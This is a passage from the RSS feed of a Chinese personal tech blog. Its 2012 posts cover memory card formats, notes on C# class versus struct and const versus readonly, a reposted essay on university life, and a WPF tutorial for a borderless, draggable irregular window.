&lt;p&gt;参考：&lt;a href=&#34;http://www.cnblogs.com/anytao/archive/2007/04/07/must_net_01.html&#34;&gt;http://www.cnblogs.com/anytao/archive/2007/04/07/must_net_01.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>各种内存卡介绍</title>
      <link>http://blog.leaver.me/2012/06/30/%E5%90%84%E7%A7%8D%E5%86%85%E5%AD%98%E5%8D%A1%E4%BB%8B%E7%BB%8D/</link>
      <pubDate>Sat, 30 Jun 2012 10:50:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/30/%E5%90%84%E7%A7%8D%E5%86%85%E5%AD%98%E5%8D%A1%E4%BB%8B%E7%BB%8D/</guid>
      <description>&lt;p&gt;闪存卡（Flash Card）是利用闪存（Flash Memory）技术达到存储电子信息的存储器，一般应用在数码相机，掌上电脑，MP3等小型数码产品中作为存储介质，所以样子小巧，有如一张卡片，所以称之为闪存卡。
根据不同的生产厂商和不同的应用，闪存卡大概有Compact Flash（CF卡）、MultiMediaCard（MMC卡）、Secure Digital（SD卡）、Memory Stick（记忆棒）等。&lt;/p&gt;
&lt;h3 id=&#34;sd卡&#34;&gt;SD卡&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;SD卡全称为Secure Digital卡，SD卡标准的面世相对而言比CF要晚，根据MMC为基础所开发的Secure Digital（SD），其改进主要是在增添了版权保护的功能，提高了传输速度和增加了写保护机制等，其主要引脚的定义与MMC卡并没有太大的区别。SD具有较高的兼容性，较小的体积和不错的数据传输速度，成为了当今的时尚数码相机和部分可拍照手机的标准配置。SD接口是当今世界上被采用得最多的闪存卡接口，市面上主流的PDA，数码相机，MP3的闪存卡，烧录卡接口大多为SD卡，也使SD卡取代了CF卡成为了当今最常见得存储卡。如图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23896_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2153197222ee2fc8af342682b19e6a2a79c2b08b.jpg&#34; title=&#34;sd&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;minisd&#34;&gt;MiniSD&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;MiniSD是SD卡的一大改进，体积只有21.5x20x1.4mm，比普通SD卡足足节省了60%的空间，通过转接卡还能保证MiniSD在正常的SD插槽上的使用。如图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23897_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/97f2744e4c4365467f49bb608eee282112a6b4bd.jpg&#34; title=&#34;minisd&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;micro-sdtf卡&#34;&gt;Micro SD(TF卡)&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;TF卡又称T-Flash卡，也叫Micro SD卡,体积只有11×15×1mm，面积为MiniSD的一半
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23899_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2528565eb580dae155b5a2ed0de54fd37ed3729c.jpg&#34; title=&#34;tf&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;mmc卡&#34;&gt;MMC卡&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;MMC卡全称为Multi Media Card，由SanDisk与Siemens AG/InfineonTechnologies AG所联合开发，且于1997年11月发表，Size：24mm x 32mm x 1.4mm，重量2g。MMC卡的兼容性方面不及SD卡的好，数据传输速度受到硬件的限制，不适合作高速的数据传输。如图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23895_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ff18b0edf52209988da0c6cb442471e7eb13f081.jpg&#34; title=&#34;mmc&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;rsmmc&#34;&gt;RSMMC&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;RSMMC是Reduced-Size MMC的缩写，小型化的MMC卡，传说专门为智能手机设置。改良后的产品叫做MMCmobile
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23898_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7ab03d9515b994a1d11aee05279f6e3d9dae53a1.jpg&#34; title=&#34;rsmmc&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;什么是cf卡&#34;&gt;什么是CF卡？&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;CF格式由来已久，被SanDisk公司在1994年首次制造出来。CF卡的全称是Compact Flash，Compact意指“小型的，轻便的”，CF大小为43mm x 36mm x 3.3mm，50 Pins。如图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23894_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/eddacf9fa2afe927665cf30d192070687d5c951f.jpg&#34; title=&#34;CF&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;ms卡&#34;&gt;MS卡&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Memory Stick，索尼推出的存储产品。貌似是独树一帜，不多介绍。
参考：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&#34;http://www.allmemorycards.com/sd.htm&#34;&gt;http://www.allmemorycards.com/sd.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://baike.baidu.com/view/26952.htm&#34;&gt;http://baike.baidu.com/view/26952.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://nds.cngba.com/nds_bd/2007122122100.shtml&#34;&gt;http://nds.cngba.com/nds_bd/2007122122100.shtml&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的Class和Struct</title>
      <link>http://blog.leaver.me/2012/06/29/c%23%E4%B8%AD%E7%9A%84class%E5%92%8Cstruct/</link>
      <pubDate>Fri, 29 Jun 2012 10:03:35 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/29/c%23%E4%B8%AD%E7%9A%84class%E5%92%8Cstruct/</guid>
      <description>&lt;p&gt;　　&lt;/p&gt;
&lt;h3 id=&#34;什么是class&#34;&gt;什么是class?&lt;/h3&gt;
&lt;p&gt;　　class（类）是面向对象编程的基本概念，是一种自定义数据结构类型，通常包含字段、属性、方法、属性、构造函数、索引器、操作符等。.NET中，所有的类都最终继承自System.Object类，因此是一种引用类型，也就是说，new一个类的实例时，对象保存了该实例实际数据的引用地址，而对象的值保存在托管堆（managed heap）中。&lt;/p&gt;
&lt;h3 id=&#34;什么是struct&#34;&gt;什么是struct?&lt;/h3&gt;
&lt;p&gt;　　struct（结构）是一种值类型，用于将一组相关的信息变量组织为一个单一的变量实体 。所有的结构都继承自System.ValueType类，因此是一种值类型，也就是说，struct实例分配在线程的堆栈（stack）上，它本身存储了值，而不包含指向该值的指针。所以在使用struct时，我们可以将其当作int、char这样的基本类型类对待。&lt;/p&gt;
&lt;h3 id=&#34;比较&#34;&gt;比较：&lt;/h3&gt;
&lt;p&gt;　　相同点：语法类似。&lt;/p&gt;
&lt;p&gt;　　不同点：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;class是引用类型，继承自System.Object类；struct是值类型，继承自System.ValueType类，因此不具多态性。但是注意，System.ValueType是个引用类型。&lt;/li&gt;
&lt;li&gt;从职能观点来看，class更多表现为行为；而struct常用于存储数据。&lt;/li&gt;
&lt;li&gt;class支持继承，可以继承自类和接口；而struct没有继承性，struct不能从class继承，也不能作为class的基类，但struct支持接口继承&lt;/li&gt;
&lt;li&gt;class可以声明无参构造函数，可以声明析构函数；&lt;em&gt;而struct只能声明带参数构造函数&lt;/em&gt;，且不能声明析构函数。因此，struct没有自定义的默认无参构造函数，默认无参构造器只是简单地把所有值初始化为它们的0等价值&lt;/li&gt;
&lt;li&gt;实例化时，&lt;em&gt;class要使用new关键字；而struct可以不使用new关键字&lt;/em&gt;，如果不以new来实例化struct，则其所有的字段将处于未分配状态，直到所有字段完成初始化，否则引用未赋值的字段会导致编译错误。&lt;/li&gt;
&lt;li&gt;class可以是抽象类（abstract），可以声明抽象函数；而struct不能为抽象，也不能声明抽象函数。&lt;/li&gt;
&lt;li&gt;class可以声明protected成员、virtual成员、sealed成员和override成员；而struct不可以，struct可以重载System.Object的3个虚方法，Equals()、ToString()和GetHashTable()。&lt;/li&gt;
&lt;li&gt;class的对象复制分为浅拷贝和深拷贝，必须经过特别的方法来完成复制；而struct创建的对象复制简单，可以直接以等号连接即可。&lt;/li&gt;
&lt;li&gt;class实例由垃圾回收机制来保证内存的回收处理；而struct变量使用完后立即自动解除内存分配。&lt;/li&gt;
&lt;li&gt;作为参数传递时，class变量是以按址方式传递；而struct变量是以按值方式传递的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　我们可以简单的理解，class是一个可以动的机器，有行为，有多态，有继承；而struct就是个零件箱，组合了不同结构的零件。其实，&lt;strong&gt;&lt;em&gt;class和struct最本质的区别就在于class是引用类型&lt;/em&gt;&lt;/strong&gt;，内存分配于托管堆；而struct是值类型，内存分配于线程的堆栈上。由此差异，导致了上述所有的不同点，虽然在某些方面struct有性能方面的优势，但是在面向对象编程里，基本是class横行的天下。&lt;/p&gt;
&lt;p&gt;　　那么，既然class几乎可以完全替代struct来实现所有的功能，那么struct还有存在的必要吗？答案是，至少在以下情况下，鉴于性能上的考虑，我们应该考虑使用struct来代替class：　　&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;实现一个主要用于存储数据的结构时，可以考虑struct。&lt;/li&gt;
&lt;li&gt;struct变量占有堆栈的空间，因此只适用于数据量相对小的场合。&lt;/li&gt;
&lt;li&gt;结构数组具有更高的效率。&lt;/li&gt;
&lt;li&gt;提供某些和非托管代码通信的兼容性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C#中的const和readonly</title>
      <link>http://blog.leaver.me/2012/06/28/c%23%E4%B8%AD%E7%9A%84const%E5%92%8Creadonly/</link>
      <pubDate>Thu, 28 Jun 2012 17:29:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/28/c%23%E4%B8%AD%E7%9A%84const%E5%92%8Creadonly/</guid>
      <description>&lt;p&gt;　　本文来自《你必须知道的.NET》这本书，是我看书过程中的笔记整理。&lt;/p&gt;
&lt;p&gt;　　不变的量是程序设计中的平衡剂，是系统中恒定不变的量，在.NET中提供哦你了两种方式来实现，const和readonly。其中，const是静态常量，readonly是动态常量。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;const，readonly和static readonly定义的常量，一旦初始值指定，（包括在构造函数内指定初始值），将不可更改，可读不可写。&lt;/li&gt;
&lt;li&gt;const必须在声明的时候指定初始值，而readonly和static readonly在在声明时可以指定，也可以不指定初始值，同时也可以在构造函数中指定初始值，如果同时在声明时和构造函数中指定了初始值，以构造函数内指定的值为准。&lt;/li&gt;
&lt;li&gt;const和static readonly定义的常量是静态的，只能由类型来访问，不能和static同时使用，否则可能出现编译错误，而readonly定义的常量是非静态的，只能由实例对象来访问。可以显式使用static定义静态成员&lt;/li&gt;
&lt;li&gt;static readonly常量，如果在构造函数内指定初始值，那么必须是在静态无参构造函数中。不同的构造函数可以为readonly常量实现不同的初始值。&lt;/li&gt;
&lt;li&gt;const可以用于定义局部常量和字段常量，而readonly和static readonly不能定义局部变量，只能定义字段常量，实际上，readonly应该被称之为只读字段，因此局限于定义字段，而const才是常量，可以定义字段和局部量。&lt;/li&gt;
&lt;li&gt;const常量编译后保存在模块的元数据中，无需在托管堆中分配内存，并且const常量只能是百年机器能够识别的基元类型，比如Int32，string等，而readonly需要分配独立的存储空间，并且可以是任意类型。&lt;/li&gt;
&lt;li&gt;const只能应用在值类型和string类型上，其他引用类型常量只能定义为null，否则以new为const引用类型常量赋值，编译器会引发“只能用null对引用类型（字符串除外）的常量进行初始化”错误提示，原因是构造函数初始化是在运行时，而非编译时，readonly只读字段，可以是任意类型，但是对于引用类型字段来说，readonly不能限制对该对象实例成员的访问控制。
　　总结：尽可能以只读属性来实现对类型读写特性的控制，而不是只读字段，但是在某些情况下，只读字段更简化些。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　const是编译时常量，readonly是运行时常量，const较高效，readonly更灵活，在应用上，推荐以static readonly代替const，以平衡const在灵活性上的不足，同时克服编译器优化const性能时，所带来的程序集引用不一致问题。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>对不起，我等不了你了</title>
      <link>http://blog.leaver.me/2012/06/27/%E5%AF%B9%E4%B8%8D%E8%B5%B7%E6%88%91%E7%AD%89%E4%B8%8D%E4%BA%86%E4%BD%A0%E4%BA%86/</link>
      <pubDate>Wed, 27 Jun 2012 10:33:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/27/%E5%AF%B9%E4%B8%8D%E8%B5%B7%E6%88%91%E7%AD%89%E4%B8%8D%E4%BA%86%E4%BD%A0%E4%BA%86/</guid>
      <description>&lt;p&gt;　　这不是我写的，这篇文章也不是讲爱情的，来自&lt;a href=&#34;https://xutuo.wordpress.com/2012/05/10/%E5%AF%B9%E4%B8%8D%E8%B5%B7%EF%BC%8C%E6%88%91%E7%AD%89%E4%B8%8D%E4%BA%86%E4%BD%A0%E4%BA%86/&#34;&gt;XuTuo的方式&lt;/a&gt;，大学生活。人生理想。不错的文章。收藏分享之。&lt;/p&gt;
&lt;p&gt;　　很多事很多人你觉得对你很重要，会在你的一生中留下不可磨灭的印记，却总在你的渐行渐远中云淡风轻。&lt;/p&gt;
&lt;p&gt;　　大一的时候不写高考，因为年少轻狂中带有那么点不可一世的自尊心。大三的时候写不出高考，因为想再提起时已经变成愈加模糊与苍白，甚至还有点可笑。那时候的你已经开始忙着考研或者找工作，忙着褪去象牙塔里那张不老的脸，忙着一个人或者两个人的未来。&lt;/p&gt;
&lt;p&gt;　　后来觉得有必要在这个稚嫩的末尾画上一个走向成熟的句号，在夏天还没到来的时候。&lt;/p&gt;
&lt;p&gt;　　两年前你迷茫着要走上那条路，两年后你迷茫着这条路会走向哪里。&lt;/p&gt;
&lt;p&gt;　　学生生涯是一个很美好的时刻，当然这种美好往往得等失去了才知道珍惜。就像记忆中的高中班主任总是苦口婆心地告诉我们，拼一拼，过了这一个月，你们就解放了。年幼的人有种向往年长人的生活的冲动，这种原始的冲动就像小时候注册QQ的时候总喜欢把年龄放大到十八岁，好像花季雨季里总会有那么些纯纯的爱恋等着我们。而直到了那个季节才发现原来小说里都是骗人的，这里除了长个不停的青春痘还有做不完的作业与考不完的试，爱情是战乱里的奢侈品，珍贵且易碎。&lt;/p&gt;
&lt;p&gt;　　一群刚考完试的高考生们疯狂地撕掉课本，然后撒向天空大吼说：“我终于解放了！”接下去的几天里他们不停地聚会，不停地唱K，不停地喝酒，不停地网路短信暧昧，然后接下来是高中“革命一辈”的“生离死别”。 说着一生一世的誓言走上两条反方向的路，我喜欢那个时候忽明忽暗的爱恋，喜欢就是喜欢，不喜欢就是不喜欢，表白的那个男生可能以后会考上一所名牌大学，毕业后能当上国家公务员，家里供有着一套以及一套以上的房子让他结婚。但不喜欢就是不喜欢，因为他胖，他油性皮肤，他的校服一个礼拜都没洗，还有，他的字不好看。&lt;/p&gt;
&lt;p&gt;　　接着他们如愿以偿地上了老师口中的“由你玩四年”。这是一个很不负责任的谎言，并且被我们尊重的老师屡用不止，就好像你在吃一根玉米，你啃到第三排的时候已经吃不下了，然后一个人告诉你说越往后越好吃，逼你不得不继续往下吃，然而你却逐渐感到反胃，旁边的人说一开始不习惯，慢慢地就会好了，你相信了，硬着头皮往下吃，直到吃完最后一颗时你才发现这根玉米原来压根就烂了，你吐了三天拉了三天后却忘记了自己当初吃玉米的缘由，只剩下一堆无尽的怨言。&lt;/p&gt;
&lt;p&gt;　　银行卡里的生活费准时的打来，人民币上毛爷爷微笑的脸使你渐渐淡忘了家中父母的样貌，你终于有了支配财富的能力以满足你的愿望，这像是一种迟来的报复般让你有种快感，然而当这种权利到手时你却感到一种迷茫与不真实。小时候的你一直暗下决心说等长大了有钱了就要买一大堆零食，结果现在如愿了，但面对超市柜台前满满的零食，你却如何也抬不起兴趣。&lt;/p&gt;
&lt;p&gt;　　生活像是一场黑色幽默的电影，越往后越是笑得想哭出来。&lt;/p&gt;
&lt;p&gt;　　周围的同学渐渐都恋爱了，有几对是新结连理，有几对则是异地的革命伉俪。你开始也心动了，心猿意马地看着校道上那一双双白花花的大腿，你的下半身逐渐代替了上半身的思考能力，你只是不想一个人过了，这样的生活让你感到孤单，无趣，甚至还有那么一点的自卑。高中时你曾经喜欢过一个女生，每当她走过你们班级的窗前你的心跳都会加速得快要蹦出来，那种奇妙的感觉让你喜欢着又害怕着，她就像你心目中的女神一样。那天晚上你终于下了好大的决心发了条短信给她，“在干吗？”“没啊，你呢？”你们有一搭没一搭地聊到了深夜却都心照不宣地不捅破内心的青春情怀。暧昧总是美好的，你以前老是不懂什么叫“人生若只如初见。”现在你渐渐懂了，以后你会更懂。&lt;/p&gt;
&lt;p&gt;　　大学的爱情却让你逐渐感到些许恶心与廉价，前些天你看上一个不错的女生，找了人打听到了她的电话号码，头一句便问她：“你有男朋友吗？”她说，有。之后你便不再回复了。你开始忙了起来，因为你必须马不停蹄地找到下一个猎物。什么时候你失去了等待和耐心爱一个人的能力，你说不上来，在行色匆匆中搪塞着，晚了就找不到对象了。&lt;/p&gt;
&lt;p&gt;　　大学的第一个新年里几个同学在老师家聚会，大家寒暄着暖场，讲着那个陌生地域的生活，有人说得眉飞色舞，有人说得黯然神伤，但却没有人知道明天会怎样。&lt;/p&gt;
&lt;p&gt;　　父母们不再会催你赶紧读书了，你终于有了足够的时间玩游戏，看电视。无论你做什么他们都会一脸慈爱地看着你，有时甚至你自己都过意不去，你觉得是不是他们还会像以前帮你报个补习班或者训练营，结果没有。他们只是老了，累了，你终于考上了他们曾经仰望着的大学，他们感到很欣慰，惟愿你一切安好。&lt;/p&gt;
&lt;p&gt;　　大学却依然在继续着，高考后的第二个夏天来临时你开始有些许羡慕地看着那群刚刚高考完的准大学生们，你听他们喊着你喊过的口号，过着你过过的生活，经历着你的曾经。你喜欢他们那种充满希望的眼神里闪烁着的光，只是你的眼角边不知什么时候多了条皱纹。&lt;/p&gt;
&lt;p&gt;　　你开始得打算自己要往哪个方向发展了，这一年里你旷了将近四分之一的课，每天睡了有十个小时的觉，你交了两个女友，却还不到三个月的时间，到了大一结束的时候你才勉强能念出自己专业的全名，却仍不知道这个专业到底教的是什么。父母们常在你耳边旁敲侧击地说着一些称之为“现实”事情，比如谁谁家的女儿嫁了个好人家，谁谁家的孩子考上公务员后待遇很好。你烦了，爹妈不高兴了，他们会说你已经二十岁了，你则说你的事自己会处理好，但事实上你却依旧迷茫：未来在哪里？&lt;/p&gt;
&lt;p&gt;　　跨入大二前你曾暗下决心要好好学习，就如打仗前的誓师般悲壮。然而在坚持了两个礼拜后却又开始了之前的生活循环，在新的一年里的慢慢发现了身边的人慢慢变了，有的人依旧每天叫上你一起去喝酒玩乐，有的人则一早上就出去，直到晚上才回来，他抱着书，你抱着酒瓶。你们的生活从这里开始分离开来，多年之后你会后悔，但却忘了当初是谁拿起那把剪子分道扬镳。&lt;/p&gt;
&lt;p&gt;　　大二的那个圣诞节里你度过了大学的第三次失恋，你听了一天的《圣诞结》并骂着甩你的女生现实，势力。然而你的舍友却在同一天表白成功了，他和你一样，没有背景，没有一个可以拼的爹，你们曾经在同一条起跑线上，然后现在却互相看不到彼此的身影。你在网上刷了一天的微博看到了那么一句话：“永远不要低估一个女生和你同甘共苦的决心。”你冷冷一笑，关了电脑，却没看到下本句写的：“一个女生最怕的，是在你身上看不到希望。”&lt;/p&gt;
&lt;p&gt;　　大二上学期的春节来临时父母还为你的回来准备着大鱼大肉，貌似什么都没变，但貌似什么都变了一点，就像你的压岁钱不知怎么就少了，几个小外甥甚至还嚷着：“舅舅，给我红包！”&lt;/p&gt;
&lt;p&gt;　　过了这个年你戏谑着自己走在奔三的路上，在回学校的时候父母到车站送你，你突然发现他们的脚步什么时候变慢了，你已经走了好远他们怎么都跟不上，那一刻你突然感到一种前所未有的孤独，就好像曾经可以依靠的肩膀都不在了。&lt;/p&gt;
&lt;p&gt;　　这个春天你觉得怎么过得那么快，你说你已经不打游戏了，不打牌了，也不常和朋友出去玩了，你说你制定了一个计划，但为什么日子还是过得那么快，白天转眼就是黑夜。&lt;/p&gt;
&lt;p&gt;　　就像又到了一年的高考时。&lt;/p&gt;
&lt;p&gt;　　我等不了你了，少年。&lt;/p&gt;</description>
    </item>
    <item>
      <title>c#温故而知新： 线程篇</title>
      <link>http://blog.leaver.me/2012/06/24/c%23%E6%B8%A9%E6%95%85%E8%80%8C%E7%9F%A5%E6%96%B0-%E7%BA%BF%E7%A8%8B%E7%AF%87/</link>
      <pubDate>Sun, 24 Jun 2012 10:57:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/24/c%23%E6%B8%A9%E6%95%85%E8%80%8C%E7%9F%A5%E6%96%B0-%E7%BA%BF%E7%A8%8B%E7%AF%87/</guid>
      <description>&lt;p&gt;上次的&lt;a href=&#34;http://leaver.me/archives/431.html&#34;&gt;C#温故而知新：Stream篇&lt;/a&gt; 已经完结了，这次，&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/&#34;&gt;JimmyZheng&lt;/a&gt; 开始更新线程了，转发收藏，持续更新，当然你也可以直接去看JimmyZheng的文章，欢迎学习交流&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/06/10/2543143.html&#34;&gt;c#温故而知新： 线程篇(一)：&lt;strong&gt;Thread&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/07/07/2580253.html&#34;&gt;c#温故而知新： 线程篇(二)：&lt;strong&gt;线程池和异步线程&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>WPF实现不规则窗体</title>
      <link>http://blog.leaver.me/2012/06/23/wpf%E5%AE%9E%E7%8E%B0%E4%B8%8D%E8%A7%84%E5%88%99%E7%AA%97%E4%BD%93/</link>
      <pubDate>Sat, 23 Jun 2012 06:22:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/23/wpf%E5%AE%9E%E7%8E%B0%E4%B8%8D%E8%A7%84%E5%88%99%E7%AA%97%E4%BD%93/</guid>
      <description>&lt;p&gt;这几天在想C# winform程序界面实在太单一，而我&lt;a href=&#34;http://leaver.me/archives/990.html&#34;&gt;C#实现不规则窗体&lt;/a&gt;中也说了，如果用背景这种东西来做的话，效果很差，抗锯齿能力基本为0，所以我当时在博客园提问，然后园友有了很给力的回答，比如WPF来做，或者第三方插件，或者深入底层改写ONPaint函数的，今天没事，恰好看到了一篇文章讲这个的，于是，就做一个简单的Demo出来，华丽的效果有木有，先看效果图&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23622_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ba031241897a97ce5f76970d0787694511d3960a.jpg&#34; title=&#34;效果&#34;&gt;&lt;/a&gt;
在win 7下使用win+Tab切换效果也很华丽。就不演示了。&lt;/p&gt;
&lt;p&gt;做起来还算比较简单，首先使用Microsoft Expression Design 4 设计一个界面，破解版什么的太多了，，软件界面和ps挺像，不过功能弱很多，自己操作操作就好了，我说一个问题，就是我当时想画一个空心的圆，也就是一个圆环，ps里大家都知道，直接选区相减就可以了，但是这个死活没找到，基本上最后这个界面所有的地方被找了一遍，猜了猜，才发现了，&lt;/p&gt;
&lt;p&gt;具体操作如下，首先汇出一个圆形，然后在圆里面再绘出一个圆形，这时候选中第二次的这个小圆，点击屏幕右侧的那个箭头会出现高级选项，&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23623_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7bb961d46945780dd51bf752d4109eb6dfec9583.jpg&#34; title=&#34;高级&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后选择混合模式为橡皮擦，就会擦去这个小圆，于是就只剩下一个圆环了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23624_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/47a442eae19c0450c9de4ef532d026c4608439f1.jpg&#34; title=&#34;橡皮擦&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;画好以后，选择文件-&amp;gt;导出，按如下设置，
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23625_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5a4dc13cbe7e3ade5841d175eace74870fd42395.jpg&#34; title=&#34;导出&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;会得到一个xaml文件，一会用&lt;/p&gt;
&lt;p&gt;然后新建wpf项目，然后在解决方案资源管理器视图右键点击项目 导入现有项，把上一步的xaml文件导入&lt;/p&gt;
&lt;p&gt;然后需要在app.xaml文件中进行设置，具体在&amp;lt;Application.Resources&amp;gt;标签内添加如下代码，中间那个文件名看情况而定。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;        &amp;lt;ResourceDictionary&amp;gt;
            &amp;lt;ResourceDictionary.MergedDictionaries&amp;gt;
                &amp;lt;ResourceDictionary Source=&#34;bystander.xaml&#34;/&amp;gt;
            &amp;lt;/ResourceDictionary.MergedDictionaries&amp;gt;
        &amp;lt;/ResourceDictionary&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后打开“MainWindow.xaml”文件的设计视图，点击窗体边缘以选中窗体，在属性面板中更改AllowsTransparency及WindowStyle属性。
AllowsTransparency 指示窗体是否支持透明。选中
WindowStyle指示窗体边框样式，设为 None 为无边框。&lt;/p&gt;
&lt;p&gt;然后呢在 MainWindow.xaml文件中添加如下代码，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Background=&#34;{StaticResource back}&#34;
MouseDown=&#34;Window_MouseDown&#34;&amp;gt;&lt;/pre&gt;
&lt;p&gt;最终代码是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Window x:Class=&#34;WpfDemo.MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34; AllowsTransparency=&#34;True&#34; WindowStyle=&#34;None&#34; Background=&#34;{StaticResource back}&#34; MouseDown=&#34;Window_MouseDown&#34;&amp;gt;
&amp;lt;/Window&amp;gt;&lt;/pre&gt;
&lt;p&gt;其中background那个是固定的，而MouseDown是为了给窗体写可以拖动的函数，函数名为Window_MouseDown你也可以自己制定&lt;/p&gt;
&lt;p&gt;然后对着那个函数名点右键，如下图&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23626_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2bda8545e86b4ffc4155d5c63505252bb57506bf.jpg&#34; title=&#34;导航&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;导航到事件处理程序，然后在打开的函数里写上&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;if(e.ChangedButton==MouseButton.Left)
    this.DragMove();&lt;/pre&gt;
&lt;p&gt;拖动功能就实现了。&lt;/p&gt;
&lt;p&gt;至于添加关闭按钮的，我就不写了，很简单，代码里都有。可以参考源文件。&lt;/p&gt;
&lt;p&gt;工程源码下载：&lt;a href=&#34;http://115.com/file/c2aq7abt#WpfDemo.7z&#34;&gt;WPFDemo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/SkyD/archive/2008/07/13/1242044.html&#34;&gt;http://www.cnblogs.com/SkyD/archive/2008/07/13/1242044.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/yinyao/archive/2011/05/23/2054056.html&#34;&gt;http://www.cnblogs.com/yinyao/archive/2011/05/23/2054056.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>U盘或硬盘装满资料后，质量会增加吗？</title>
      <link>http://blog.leaver.me/2012/06/22/u%E7%9B%98%E6%88%96%E7%A1%AC%E7%9B%98%E8%A3%85%E6%BB%A1%E8%B5%84%E6%96%99%E5%90%8E%E8%B4%A8%E9%87%8F%E4%BC%9A%E5%A2%9E%E5%8A%A0%E5%90%97/</link>
